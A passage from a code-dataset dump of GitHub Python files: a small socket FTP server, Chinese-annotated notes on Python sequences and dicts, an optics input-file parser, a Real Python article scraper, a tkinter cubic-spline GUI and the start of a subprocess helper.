self.request.sendall(str(file_size).encode(\"utf-8\"))\n is_exist = self.request.recv(1024).decode(\"utf-8\")\n\n has_sent = 0\n\n if is_exist == \"800\":\n self.request.sendall(\"the file exist,but not enough,is countinue?[Y/N]\".encode(\"utf-8\"))\n answer = self.request.recv(1024).decode(\"utf-8\")\n if answer == \"Y\":\n print(\"ssssss\")\n v = self.request.recv(1024).decode(\"utf-8\")\n print(v)\n has_sent += int(v)\n print(has_sent)\n else:\n self.request.sendall(\"N\".encode(\"utf-8\"))\n elif is_exist == \"801\":\n return\n a = open(download_file, \"rb\")\n while has_sent < file_size:\n data = a.read(1024)\n self.request.sendall(data)\n has_sent += len(data)\n a.close()\n\n def mkdir(self, **data):\n dirname = data.get(\"dirname\")\n path = os.path.join(self.mainpath, dirname)\n if not os.path.exists(path):\n if \"/\" in dirname:\n os.makedirs(path)\n else:\n os.mkdir(path)\n\n self.request.sendall(\"dirname exist\".encode(\"utf-8\"))\n else:\n self.request.sendall(\"dirname exist\".encode(\"utf-8\"))\n\n def register(self, **data):\n username = data.get(\"username\")\n password = data.get(\"password\")\n cfg = configparser.ConfigParser()\n cfg.read(settings.ACCOUNT_PATH)\n print(username, password, type(username), type(password))\n cfg[username] = {}\n cfg[username][\"password\"] = password\n cfg[username][\"quotation\"] = \"100\"\n\n with open(settings.ACCOUNT_PATH, \"w\") as f:\n cfg.write(f)\n path = os.path.join(settings.BASE_DIR, \"home\", username)\n os.mkdir(path)\n\n self.request.sendall(\"Account setup successful please continue other operations\".encode(\"utf-8\"))\n\n\nif __name__ == \"__main__\":\n s = socketserver.ThreadingTCPServer((\"127.0.0.1\", 8000), MySever)\n s.serve_forever()\n","repo_name":"tanghaoen/FTP_poject","sub_path":"FTP_1/FTP_sever/core/mysever.py","file_name":"mysever.py","file_ext":"py","file_size_in_byte":6521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"20166508850","text":"from math import pi\nfrom typing import Type\n\ndef circle_area(radius):\n if type(radius) not in [int, float]:\n raise TypeError(\"The radius must be a non-negative real number\")\n \n if radius < 0:\n raise ValueError(\"The radius cannot be negative\")\n\n return pi*(radius**2)\n\n# print(circle_area(7))","repo_name":"codewithlennylen/Software-Testing","sub_path":"Unit-testing/Socratica/circles.py","file_name":"circles.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"3636587974","text":"#元组拆包\r\n\"\"\"\r\nx,y = (1,2)\r\nprint(\"%d、%d\" % (x,y)) #1、2\r\nx,y = y,x #交换两个元素\r\nprint(\"%d、%d\" % (x,y)) #2、1\r\n\"\"\"\r\n\"\"\"\r\npoints = [(\"x\",1),(\"y\",2)]\r\nfor point in points:\r\n print(\"%s:%d\" % point) #x:1 y:2 列表会报错\r\n\"\"\"\r\n\"\"\"\r\n#*可把元组拆开作为函数参数\r\nprint(divmod(20,8))\r\nt = (20,8)\r\nprint(divmod(*t))\r\n#*处理剩下元素\r\na,b,*rest,c = range(5) #a=0,b=1,rest=[2,3],c=4\r\na,b,*rest,c,d,e = range(5) #rest=[]\r\n\"\"\"\r\n\"\"\"\r\nfrom collections import namedtuple\r\npoint = namedtuple(\"point\",'x y z')\r\npoint1 = point(1,2,3) #point(x=1, y=2, z=3)\r\nprint(point1.y) #2\r\nprint(point1._fields) #('x', 'y', 'z')\r\npoint2 = point1._make(range(4,7)) #point(x=4, y=5, z=6)\r\n#_make() 跟 *类似相当于以下代码\r\na = range(4,7)\r\npoint2 = point(*a) #point(x=4, y=5, z=6)\r\n#point2 = point(*range(4,7)) #point(x=4, y=5, z=6)\r\nprint(point2._asdict()) #{'x': 4, 'y': 5, 'z': 6}\r\n\"\"\"\r\n\"\"\"\r\n#元组没有__reversed__方法,但可以使用reversed(tuple)\r\npoints = range(5)\r\nfor point in reversed(points):\r\n print(point) #4 3 2 1 0\r\n\"\"\"\r\n#元组方法:\r\n#s.__contains__(e) 即 in\r\n#s.count(e) e出现的次数\r\n#s.__getitem__(p) 即s[p]\r\n#s.__getnewargs__() 列表没有,元组有\r\n#s.index(e) e第一次出现的位置\r\n#s.__iter__() 迭代器\r\n#s.__len__() len(s)\r\n#s.__mul__(n) s * n n个s重复拼接\r\n#s.__rmul__(n) n * s 反向拼接\r\n\r\n#切片操作 slice(a,b,c)\r\n#s = 'bicycle'\r\n#s[a:b:c] 在a和b直接以c为间隔取值,c可以为负数\r\n#print(s[slice(3,None)]) #ycle\r\n#print(s[3:]) #从下标为3的地方分割,ycle\r\n#print(s[::3]) #对s每隔3个取一次值,bye\r\n#print(s[::-1]) #elcycib\r\n#print(s[:3:-1]) #elc\r\n#print(s[3::-2]) #yi\r\n#赋值\r\n#s[:3] = ['a'] #TypeError: 'str' object does not support item assignment\r\n#l = list(range(10)) #[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n#l[:3] #[0, 1, 2]\r\n#l[:3] = [-1] #[-1, 3, 4, 5, 6, 7, 8, 9]\r\n#l[:3] = list(range(10,15)) #[10, 11, 12, 13, 14, 3, 4, 5, 6, 7, 8, 9]\r\n#del l[:3] #[3, 4, 5, 6, 7, 8, 9]\r\n#print(l*2) #[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n#print(l+list(range(10,15))) #[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]\r\n\"\"\"\r\n#l1 = [['_']*3] * 3 #[['_', '_', '_'], ['_', '_', '_'], ['_', '_', '_']] \r\n#l得到的其实是3个['_', '_', '_']的引用 而不是3个['_', '_', '_']里面的值\r\n#l1[1][1] = 'X' #[['_', '_', 'X'], ['_', '_', 'X'], ['_', '_', 'X']]\r\n#等同于以下操作:\r\nl = ['_']*3\r\nl1 = []\r\nfor i in range(3):\r\n l1.append(l) #每一次都将l加入\r\n #l1.append(l[:]) #每一次都将l所有值加入\r\nl1[1][1] = 'X'\r\nprint(l1)\r\n\"\"\"\r\n\"\"\"\r\nl2 = [['_']*3 for i in range(3)]\r\nl2[1][1] = 'X' #[['_', '_', '_'], ['_', 'X', '_'], ['_', '_', '_']]\r\nprint(l2)\r\n#等同于以下操作:\r\nl2 = []\r\nfor i in range(3):\r\n l = ['_']*3 #每一次都新建一个列表加入\r\n l2.append(l) \r\nl2[1][1] = 'X'\r\nprint(l2)\r\n\"\"\"\r\n'''\r\n#对元组进行+=运算\r\n#元组元素是不能修改的,但下面t确实修改了\r\nt = (1,2,[3,4])\r\n\"\"\"\r\ntry:\r\n t[2]+=[5,6] #TypeError: 'tuple' object does not support item assignment\r\nexcept TypeError:\r\n print(t) #(1, 2, [3, 4, 5, 6])\r\n实际上:\r\n1、将t[2]的值存入了TOS(TOP Of Stack,栈的顶端)\r\n2、计算 TOS += [5,6],即[3,4] += [5,6] 这一步是可以完成的,TOS一个可变对象\r\n3、对t[2] = TOS 赋值。失败,因为t是不可变的元组\r\n\"\"\"\r\nTOS = t[2] #[3, 4] TOS即是t[2]的引用\r\n#TOS = t[2][:] #[3, 4] TOS即是t[2]的值\r\nTOS += [5,6] #[3, 4, 5, 6] 即t[2]已经是[3, 4, 5, 6]\r\nprint(t) #(1, 2, [3, 4, 5, 6])\r\ntry:\r\n t[2] = TOS\r\nexcept TypeError:\r\n print(t)\r\n#t[2].extend([5,6]) #(1, 2, [3, 4, 5, 6]) 没有异常可以实现\r\n#print(t)\r\n'''\r\n\r\n#排序\r\n#list.sort 就地排序,即不会;把原列表拷贝一份进行排序\r\n#内置函数 sorted 会新建一个列表作为返回值,故可以接受任何形式的参数(可变、不可变、...),最终都会返回一个列表\r\n#sorted 可选关键字参数:\r\n#reverse:如果设定为True,则降序排列(由大到小),默认是False\r\n#key:排序算法依赖对比的关键字,如key=str.lower忽略大小写排序,key=len以长度进行排序\r\n#l = list(range(5,0,-1)) #[5, 4, 3, 2, 1]\r\n#print(l.sort()) #返回#None会被忽略\r\n#print(l) #[1, 2, 3, 4, 5]\r\n#None:如果一个函数或者方法对对象进行的是就地改动,返回None,让调用者只读传入的参数发生了变化并未产生新的对象\r\n\r\n#fruits = ['grape', 'raspberry', 'apple', 'banana']\r\n#print(sorted(fruits)) #['apple', 'banana', 'grape', 'raspberry']\r\n#原fruits排序没有变化\r\n#print(fruits) #['grape', 'raspberry', 'apple', 'banana']\r\n#print(sorted(fruits,reverse=True)) #['raspberry', 'grape', 'banana', 'apple']\r\n#print(sorted(fruits,key=len)) #['grape', 'apple', 'banana', 'raspberry']\r\n#fruits.sort() #原排序发生了变化\r\n#print(fruits) #['apple', 'banana', 'grape', 'raspberry']\r\n\"\"\"\r\nl = [28,14,'28',1,'12',5,0,6,19,23,'27']\r\nprint(sorted(l,key=int)) #[0, 1, 5, 6, '12', 14, 19, 23, '27', 28, '28']\r\nprint(sorted(l,key=str)) #[0, 1, '12', 14, 19, 23, '27', 28, '28', 5, 6]\r\n\"\"\"\r\n#有序序列插入元素\r\n#bisect(haystack, needle) \r\n#在haystack中查找needle的位置\r\n#导入bisect\r\n'''\r\nimport bisect\r\n#l = list(range(1,10,2)) #[1, 3, 5, 7, 9]\r\n#index = bisect.bisect(l,6) #3\r\n#l.insert(index,6) #[1, 3, 5, 6, 7, 9]\r\n#使用bisect.insort()插入新元素\r\n#bisect.insort(l,6) #[1, 3, 5, 6, 7, 9]\r\n#print(l)\r\n\"\"\"分数跟成绩对应函数\"\"\"\r\ndef grade(score,points=[60,70,80,90,100],grade='FDCBAS'):\r\n i = bisect.bisect(points,score)\r\n return grade[i]\r\nprint([grade(score) for score in [33,99,77,70,89,90,100]]) #['F', 'A', 'C', 'C', 'B', 'A', 'S']\r\n\r\n\r\n'''\r\n#数组 array\r\n#数组对数字类型文件的读写操作\r\n#array.tofile 写方法\r\n#array.fromfile 读方法\r\n#from array import array\r\n#from random import random\r\n#创建一个double(d)型的数组\r\n#floats = array('d',(random() for i in range(10**7)))\r\n\"\"\"\r\nwith open('floats.bin','wb') as fp:\r\n floats.tofile(fp)\r\nfloats2 = array('d')\r\nwith open('floats.bin','rb') as fp:\r\n floats2.fromfile(fp,10**7)\r\n\"\"\"\r\n#对数组进行复制操作copy.copy、copy.deepcopy\r\n#导入copy包里的copy\r\n#from copy import copy\r\n#from copy import deepcopy\r\n#floats2 = copy(floats)\r\n#print(floats2[-1] == floats[-1]) #True\r\n'''\r\n\"\"\"copy.copy和copy.deepcopy的区别\"\"\"\r\n\"\"\"经过copy操作得到的两个拥有不同的地址,但列表里面如果还有列表,则里面的列表拥有相同的地址,即如果修改里面的列表,原列表也会被修改\r\n经过deepcopy操作得到的两个拥有不同的地址,且列表里面如果还有列表,则里面的列表也拥有不同的地址,即对新列表操作不影响原列表\"\"\"\r\nlist1 = list(range(3))+[[11,22]] #[0, 1, 2, [11, 22]]\r\nn_list2 = copy(list1)\r\nd_list2 = deepcopy(list1)\r\n#对使用deepcopy的列表进行操作\r\nd_list2[-1]+=[12]\r\n#原列表的值没有被修改\r\nprint(list1) #[0, 1, 2, [11, 22]]\r\nprint(d_list2) #[0, 1, 2, [11, 22, 12]]\r\n#对使用copy的列表进行操作\r\nn_list2[-1]+=[12]\r\n#原列表的值被修改\r\nprint(list1) #[0, 1, 2, [11, 22, 12]]\r\nprint(n_list2) #[0, 1, 2, [11, 22, 12]]\r\n'''\r\n'''\r\narray1 = array('b',(1,2,3)) #一个存储byte类型的数组array('b', [1, 2, 3])\r\n#使用extend()添加可迭代列表,如果有TypeError异常,之前添加的元素还存在\r\n#使用fromlist()添加可迭代列表,如果有TypeError异常,则取消所有添加\r\n\"\"\"\r\ntry:\r\n array1.extend((4,5,'6')) #array('b', [1, 2, 3, 4, 5])\r\nexcept TypeError:\r\n print(array1) \r\n\"\"\"\r\n\"\"\"\r\ntry:\r\n array1.fromlist((4,5,'6')) #array('b', [1, 2, 3])\r\nexcept TypeError:\r\n print(array1) \r\n\"\"\"\r\n'''\r\n#s.itemsize 返回数组中元素长度的字节数'b':1、'i':4、'f':4、'l':4、'd':8\r\n#s.typecode 返回数组的存储类型:b、i、...\r\n#s.tolist() 转换为列表,元素是数字对象\r\n#数组排序 python 3.4后数组类型不再支持list.sort()这种就地排序方法。要排序只能新建一个数组\r\n#array1 = array('b',(2,1,6))\r\n#array1 = array(array1.typecode,sorted(array1)) #array('b', [1, 2, 6])\r\n#print(array1)\r\n#对已是有序序列的数组可以使用bisect.insort进行插入\r\n#import bisect\r\n#bisect.insort(array1,5) #array('b', [1, 2, 5, 6])\r\n\r\n#memoryview\r\n#Numpy\r\n#SciPy\r\n\r\n#双向队列 collections.deque\r\n#from collections import deque\r\n#dq = deque(range(7), maxlen=7) #deque([0, 1, 2, 3, 4, 5, 6], maxlen=7), maxlen=5) \r\n#maxlen 可选参数,表示队列最大容纳元素的数量,一旦设定无法改变\r\n#.rotate(n),当n>0,表示把最右n个元素移到队列左边,当n<0时,将最左移到右边\r\n#dq.rotate(3) #deque([4, 5, 6, 0, 1, 2, 3], maxlen=7)\r\n#dq.rotate(-3) #deque([3, 4, 5, 6, 0, 1, 2], maxlen=7)\r\n#appendleft在队列头部添加元素,append在队列尾部添加元素\r\n#extendleft按迭代器里面的元素逐个添加,故会逆序出现在队列\r\n#当len()>maxlen时会挤掉另一端元素\r\n#dq.appendleft(-1) #deque([-1, 0, 1, 2, 3, 4, 5], maxlen=7)\r\n#dq.append(-1) #deque([1, 2, 3, 4, 5, 6, -1], maxlen=7)\r\n#dq.extend([11,12,13]) #deque([3, 4, 5, 6, 11, 12, 13], maxlen=7)\r\n#dq.extendleft([11,12,13]) #deque([13, 12, 11, 0, 1, 2, 3], maxlen=7)\r\n#pop()、popleft()\r\n#print(dq)\r\n\r\n\r\n#字典(dict)\r\n\"\"\"\r\n#创建一个{'one': 1, 'two': 2, 'three': 3}的字典\r\na = dict(one=1,two=2,three=3)\r\nb = {'one':1,'two':2,'three':3}\r\nc = dict(zip(['one','two','three'],[1,2,3]))\r\nd = dict([('two',2),('one',1),('three',3)])\r\ne = dict({'three':3,'one':1,'two':2})\r\nprint(a==b==c==d==e) #True\r\n\"\"\"\r\n#字典推导:\r\n#l = [(1, 'one'), (2, 'two'), (3, 'three')]\r\n#dict1 = {s_num:num for num,s_num in l} #{'one': 1, 'two': 2, 'three': 3}\r\n#d.keys() 所有的键\r\n#d.values() 所有的值\r\n#d.get(k,[default]) 返回键k对应的值,如果不存在则返回None或[default]\r\n#d.setdefult(k,[default]) 返回键k对应的值,如果不存在则添加d[k] = [default],然后返回[default]\r\n#print(dict1.get('one')) #1\r\n#print(dict1.get('o')) #None\r\n#print(dict1.get('o','not found')) #not found\r\n#print(dict1.setdefault('one')) #1\r\n#print(dict1.setdefault('four',4)) #4 dict1 = {'one': 1, 'two': 2, 'three': 3, 'four': 4}\r\n#d.items() 返回所有的键值对\r\n#for key,value in dict1.items():\r\n# print(key+\":\"+str(value)) #one:1 two:2 three:3\r\n#d.pop(k,[default]) #返回k所对应的键,并移除,如果不存在则返回None或[default]\r\n#d.popitem() #返回最后一个键值对并移除它吧!!!有些资料上写着作用是随机返回(翻译有误吧)一个键值对并移除它,但测试了一下是返回最后一个\r\n#print(\"key:%s,value:%d\"%dict1.popitem()) #key:three,value:3\r\n#for i in range(10):\r\n# dict1 = dict(zip('a b c d e f g h i j k l n m o p q r s t u v w x y z'.split(),list(range(1,27))))\r\n# print(\"key:%s,value:%d\"%dict1.popitem()) #输出结果全是key:z,value:26\r\n#d.update(m, [**kargs]) 如果key已存在,则会更新对应的value\r\n#如果m存在keys方法,则对dict1更新m和[**kargs]\r\n#如果不存在则会当作包含键值对(key,value)元素的迭代器\r\n#dict1.update(dict1,four=4,five=5) #{'one': 1, 'two': 2, 'three': 3, 'four': 4, 'five': 5}\r\n#dict2 = {'four':4,'five':5,'one':11}\r\n#d = zip(['eight','nine'],[8,9])\r\n#dict1.update(dict2,six=6,nana=7) #{'one': 11, 'two': 2, 'three': 3, 'four': 4, 'five': 5, 'six': 6, 'nana': 7}\r\n#dict1.update(d,one=1) #{'one': 1, 'two': 2, 'three': 3, 'four': 4, 'five': 5, 'six': 6, 'nana': 7, 'eight': 8, 'nine': 9}\r\n#print(dict1)\r\n\"\"\"\r\n#__missing__\r\n#基类dict没有定义这个方法,但dict是知道有这么一个方法。\r\n#如果一个类继承了dict且提供了一个__missing__方法,那么在__getitem__找不到键时(d[k]),会调用它\r\n\r\nclass StrKeyDict(dict):\r\n def __missing__(self,key):\r\n if isinstance(key,str):\r\n raise KeyError(key)\r\n return self[str(key)]\r\n def get(self,key,default=None):\r\n try:\r\n return self[key]\r\n except KeyError:\r\n return default\r\n def __contains__(self,key):\r\n return key in self.keys() or str(key) in self.keys()\r\n \r\nstr_dict = StrKeyDict({'1':'one','2':'two','3':'three'})\r\nprint(str_dict[1]) #one\r\n#str_dict[1]先调用__getitem__方法,没有找到,调用__missing__\r\n#__missing__方法先是判断1是不是字符串,如果是直接引发异常,如果不是将其返回用字符串再查一遍\r\n\"\"\"\r\n#其他字典\r\n\"\"\"\r\n#collections.Counter 用于计算各个字母出现的次数\r\n#most_common([n]) 返回计数中最常见的n个键和它的计数\r\nfrom collections import Counter\r\nct = Counter('sadhjkashcjaksga') #Counter({'a': 4, 's': 3, 'h': 2, 'j': 2, 'k': 2, 'd': 1, 'c': 1, 'g': 1})\r\n#ct = Counter(a=5,b=1,c=7)\r\nct.update('asddasd') #Counter({'a': 6, 's': 5, 'd': 4, 'h': 2, 'j': 2, 'k': 2, 'c': 1, 'g': 1})\r\nct2 = Counter('vo da vi vi'.split()) #Counter({'vi': 2, 'vo': 1, 'da': 1})\r\nct2.update('vo da vi vi'.split()) #Counter({'vi': 4, 'vo': 2, 'da': 2})\r\nprint(ct.most_common(3)) #[('a', 6), ('s', 5), ('d', 4)]\r\n\"\"\"\r\n#不可变映射类型\r\n#types.MappingProxyType\r\nfrom types import MappingProxyType\r\nd = {1:'A'}\r\nd_proxy = MappingProxyType(d) #{1: 'A'}\r\n#d_proxy[2] = 'B' #TypeError: 'mappingproxy' object does not support item assignment\r\n#d[2] = 'B' #d_proxy = {1: 'A', 2: 'B'}\r\n#print(d_proxy) \r\n\r\n#集合\r\n#set、frozenset\r\n#a|b,a与b的合集 a&b,a与b的交集 a-b,a与b的差集\r\ns = {1} #type: {1}\r\nprint(s.pop()) #1 s:set()\r\n#空集\r\n#s = {} #type:\r\n#s = set() #type:\r\n#print(type(s)) ","repo_name":"yRxf/python","sub_path":"tuple-list_test.py","file_name":"tuple-list_test.py","file_ext":"py","file_size_in_byte":14830,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"29108609620","text":"'''Module for the parsing on input data from .tia file.'''\n\n# Provides:\n# readIn\n# dicOf\n\nimport numpy as np\nfrom ..helpers import settings\nfrom ..helpers.units import *\nfrom ..helpers.tools import InputError\n\n# these defs are for evaluation from input file\npi = np.pi\ncos = np.cos\nsin = np.sin\ntan = np.tan\narcsin = np.arcsin\narccos = np.arccos\narctan = np.arctan\nsqrt = np.sqrt\nexp = np.exp\n\ndef readIn(name):\n '''Finds the input data in a file.\n\n Returns a list of tuples where tuple[0] identifies the object of which data\n has been found and tuple[1] the data itself. tuple[1] may be a simple value\n or a dictionary for constructors, etc.\n\n Example return value: [ ('bd', {'X': 0., 'Y': 0., 'Z': 1.}), #constructor\n ('LName', 'foo')] #string data.\n\n name: file to read. [string]\n\n May raise an InputError.\n\n Returns a list of tuples.\n\n '''\n\n #error messages\n malformed = \"Malformed input in %s, line %s. Could not %s '%s'\"\n\n #possible tags in beginning of lines\n tags = ['bm', 'mr', 'bs', 'sp', 'bo', 'th', 'tk', 'bd', 'gh']\n ans = list()\n\n with open(name, 'r') as inF:\n for (j, line) in enumerate(inF):\n line = line.translate(None, '\\t \\n') #no spaces or tabs or newline\n if '#' in line:\n line = line[0:line.find('#')] #no comments\n if len(line) < 2:\n continue\n elif line[0:5] == 'order':\n word = line[6:]\n try:\n ans.append(('order', int(eval(word))))\n except (SyntaxError, NameError):\n raise InputError((malformed + '.') \\\n %(fileName, str(j + 1), 'parse', word))\n except TypeError:\n raise InputError((malformed + 'to int') \\\n %(fileName, str(j + 1), 'cast', word))\n\n elif line[0:9] == 'threshold':\n word = line[10:]\n try:\n ans.append(('threshold', float(eval(word))))\n except (SyntaxError, NameError):\n raise InputError(malformed + \".\"\\\n %(fileName, str(j + 1), 'parse', word))\n except TypeError:\n raise InputError((malformed + \"to float.\") \\\n %(fileName, str(j + 1), 'cast', word))\n\n elif line[0:2] in tags:\n ans.append((line[0:2], dicOf(line[0:2], line[2:], name, j + 1)))\n else:\n ans.append(('LName', line[0:]))\n\n return ans\n\ndef dicOf(st, line, fileName, lineNumber):\n '''Extract the initializer dictionary from a line.\n\n st: object tag, 'bm', 'th', ... [string]\n line: line of data in .tia format (supposed no spaces nor tabs nor comments)\n and without the object tag. [string]\n fileName: name of file (used to write errors). [string]\n lineNumber: number for this line in the file (used to write errors). [int]\n\n\tMay raise an InputError\n\tReturns a dictionary ready for construction.\n\n '''\n #error message\n malformed = \"Malformed input in %s, line %s, entry %s\"\n ans = dict()\n\n #allow empty constructor\n if line == '':\n return ans\n\n words = line.split(',')\n explicit = False\n\n if len(words) > len(settings.inOrder[st]):\n raise InputError(\n \"Malformed input in %s, line %s. To many arguments given.\"\\\n % (fileName, str(lineNumber)))\n\n for (i, word) in enumerate(words):\n if '=' in word:\n explicit = True\n if explicit and not '=' in word:\n raise InputError(\n (malformed + \". Found non explicit entry '%s' among explicit entries.\")\\\n % (fileName, lineNumber, str(i + 1), word))\n\n if explicit:\n var, val = word[:word.find('=')], word[word.find('=') + 1:]\n if var not in settings.inOrder[st]:\n raise InputError(\n (malformed + \". Unknown constructor parameter '%s'.\")\\\n % (fileName, lineNumber, str(i + 1), var))\n else:\n var, val = settings.inOrder[st][i], word\n\n try:\n ans[var] = settings.types[var](eval(val))\n except SyntaxError:\n raise InputError((malformed + \". Could not parse '%s'.\")\\\n %(fileName, lineNumber, str(i + 1), val))\n except NameError:\n raise InputError(\n (malformed + \". Did not recognize reference in '%s'.\")\\\n % (fileName, lineNumber, str(i + 1), val))\n except ValueError:\n raise InputError(\n (malformed + \". Expected %s for parameter %s, \"\\\n + \"but got '%s' which evaluates to %s.\")\\\n % (fileName, lineNumber, str(i + 1),\n settings.typeStrings[settings.types[var]], var, val,\n settings.typeStrings[type(eval(val))]))\n return ans\n","repo_name":"bandang0/theia","sub_path":"theia/running/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"50"} +{"seq_id":"24922533877","text":"import logging\nimport re\nimport requests\nimport time\n\nfrom bs4 import BeautifulSoup\n\nfrom rprec.db import db_connection, query_database_slugs, write_article_to_database\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=\"INFO\")\n\n\ndef tutorial_categories_from_rp_sitemap(sitemap_url, wrong_endpoints):\n \"\"\"Scrapes a list of tutorial categories from the Real Python sitemap.\n \n :param sitemap_url: The url string for the Real Python sitemap xml.\n :type sitemap_url: str\n :param wrong_endpoints: endpoints that don't have content.\n :type wrong_endpoints: list\n :return: A list Real Python tutorial categories\n :rtype: list\n \"\"\"\n soup = BeautifulSoup(requests.get(sitemap_url).text, \"lxml\")\n\n slugs_to_read = []\n for loc in soup.select(\"url > loc\"):\n if any([f\"https://realpython.com/{endpoint}\" in loc.text for endpoint in wrong_endpoints]):\n continue\n else:\n slugs_to_read.append(loc.text)\n\n return slugs_to_read\n\n\ndef scrape_article(slug):\n \"\"\"Scrapes the article text body from a Real Python tutorial page.\n \n :param slug: Name of the article slug to parse\n :type slug: str\n :return: (slug, author, article_text)\n :rtype: tuple\n \"\"\"\n page_url = f\"https://realpython.com/{slug}\"\n response = requests.get(page_url)\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n try:\n find_author = soup.find(\"a\", href=\"#author\")\n author = find_author.text\n except AttributeError:\n author = \"Real Python\"\n\n find_article_body = soup.find_all(\"div\", {\"class\": \"article-body\"})\n\n article_text = \"\"\n for element in find_article_body:\n article_text += \"\\n\" + \"\".join(element.findAll(text=True))\n\n return slug, author, article_text\n\n\ndef run_scraper(\n database_name,\n database_user,\n database_password,\n database_server,\n database_port,\n database_url,\n):\n \"\"\"Scrapes Real Python articles and writes new articles to a database.\n \n :param database_name: Name of the db\n :type database_name: str\n :param database_user: database username\n :type database_user: str\n :param database_password: password for the db\n :type database_password: str\n :param database_server: where the database is hosted\n :type database_server: str\n :param database_port: port for the db\n :type database_port: int\n :param database_url: the environment variable for the database url in heroku\n :type database_url: str\n \"\"\"\n rp_sitemap_url = \"http://realpython.com/sitemap.xml\"\n\n wrong_endpoints = [\n 'all',\n 'quizzes',\n 'questions',\n 'resources',\n 'security',\n 'sponsorships',\n 'start-here',\n 'support',\n 'team',\n 'testimonials',\n 'tutorials',\n 'write-for-us',\n 'learning-paths',\n 'lessons', \n ]\n urls_to_read = tutorial_categories_from_rp_sitemap(rp_sitemap_url, wrong_endpoints)\n\n # first check the database for slugs so we can skip those\n connection = db_connection(\n database_name,\n database_user,\n database_password,\n database_server,\n database_port,\n database_url,\n )\n database_slugs = query_database_slugs(connection)\n # slugs = scrape_category_pages_for_slugs(categories, database_slugs)\n\n\n # iterate the new RP articles and write them to db\n for url in urls_to_read:\n m = re.search(r'^.*\\/([^/]*)/.*$', url)\n slug = m.group(1)\n if slug in database_slugs:\n continue\n article_object = scrape_article(slug)\n # I close the connection object after each write\n connection = db_connection(\n database_name,\n database_user,\n database_password,\n database_server,\n database_port,\n database_url,\n )\n write_article_to_database(article_object, connection)\n # be nice to RP\n time.sleep(1)\n","repo_name":"arvkevi/rprec","sub_path":"rprec/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"14891104124","text":"from tkinter import *\nimport console\nfrom tkinter import messagebox\nfrom random import randint\n\n\ndef x_check(x, number, x_entries):\n for j in range(number):\n if x == x_entries[j].get():\n return False\n return True\n\n\nclass Application(Frame):\n def __init__(self, master):\n super().__init__(master)\n self.grid()\n self.create_widget()\n\n def create_widget(self):\n self.x_entries = []\n self.y_entries = []\n self.x_labels = []\n self.y_labels = []\n\n for i in range(8):\n lx = Label(self, text='x'+str(i))\n lx.grid(row=i, column=0)\n self.x_labels.append(lx)\n\n ex = Entry(self)\n ex.grid(row=i, column=1)\n self.x_entries.append(ex)\n\n ly = Label(self, text='y' + str(i))\n ly.grid(row=i, column=2)\n self.y_labels.append(ly)\n\n ey = Entry(self)\n ey.grid(row=i, column=3)\n self.y_entries.append(ey)\n\n self.x_entries[0].insert(0, '0')\n self.y_entries[0].insert(0, '0')\n self.x_entries[1].insert(0, '1')\n self.y_entries[1].insert(0, '1')\n self.x_entries[2].insert(0, '2')\n self.y_entries[2].insert(0, '-1')\n self.x_entries[3].insert(0, '3')\n self.y_entries[3].insert(0, '0')\n\n self.random_button = Button(self, text='Random', command=self.randomize)\n self.random_button.grid(row=8, column=1)\n\n self.spline_button = Button(self, text='Get spline', command=self.solve)\n self.spline_button.grid(row=8, column=3)\n\n self.number_label = Label(self, text='Number of dots')\n self.number_label.grid(row=9, column=1)\n\n self.number_entry = Entry(self)\n self.number_entry.grid(row=9, column=3)\n self.number_entry.insert(0, '4')\n\n def randomize(self):\n try:\n size = int(self.number_entry.get())\n except ValueError:\n messagebox.showinfo('Error', 'Number of dots must be a number from range (4, 5, 6, 7, 8)')\n\n if size not in (4, 5, 6, 7, 8):\n messagebox.showinfo('Error', 'Number of dots must be a number from range (4, 5, 6, 7, 8)')\n raise ValueError\n\n for i in range(size, 8):\n self.x_entries[i].delete(0, END)\n self.y_entries[i].delete(0, END)\n\n numbers = []\n for i in range(size):\n self.x_entries[i].delete(0, END)\n self.y_entries[i].delete(0, END)\n x_rand = str(randint(-20, 20))\n y_rand = str(randint(-20, 20))\n self.x_entries[i].insert(0, x_rand)\n self.y_entries[i].insert(0, y_rand)\n numbers.append(x_rand)\n\n for i in range(size):\n if not x_check(self.x_entries[i].get(), i, self.x_entries):\n while self.x_entries[i].get() in numbers:\n self.x_entries[i].delete(0, END)\n self.x_entries[i].insert(0, str(randint(-20, 20)))\n\n def solve(self):\n try:\n file = open('dots.txt', 'w', encoding='utf-8')\n except FileNotFoundError:\n print(\"Dots file is nor founded\")\n exit(2)\n\n for i in range(8):\n x = self.x_entries[i].get()\n y = self.y_entries[i].get()\n if x != '' and y != '':\n if x_check(x, i, self.x_entries):\n file.write(x + ' ' + y + '\\n')\n else:\n messagebox.showinfo('Error', 'All points must have different x')\n raise ValueError\n\n file.close()\n\n console.main()\n\n\nroot = Tk()\nroot.title(\"Cubic Spline\")\nroot.geometry(\"300x300\")\napp = Application(root)\nroot.mainloop()\n","repo_name":"owerbat/Cubic_Spline","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16368532897","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport argparse\nimport glob\nimport os\nimport sys\nimport subprocess\nimport textwrap\n\n\nVERSION = '0.2'\n\n\ndef execute_command(cmd, verbose=False):\n \"\"\"\n Executes command @cmd\n Shows output when @quiet is False\n\n Returns: False if command failed\n \"\"\"\n stderr = ''\n try:\n process = subprocess.Popen(cmd, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n stdout, stderr = 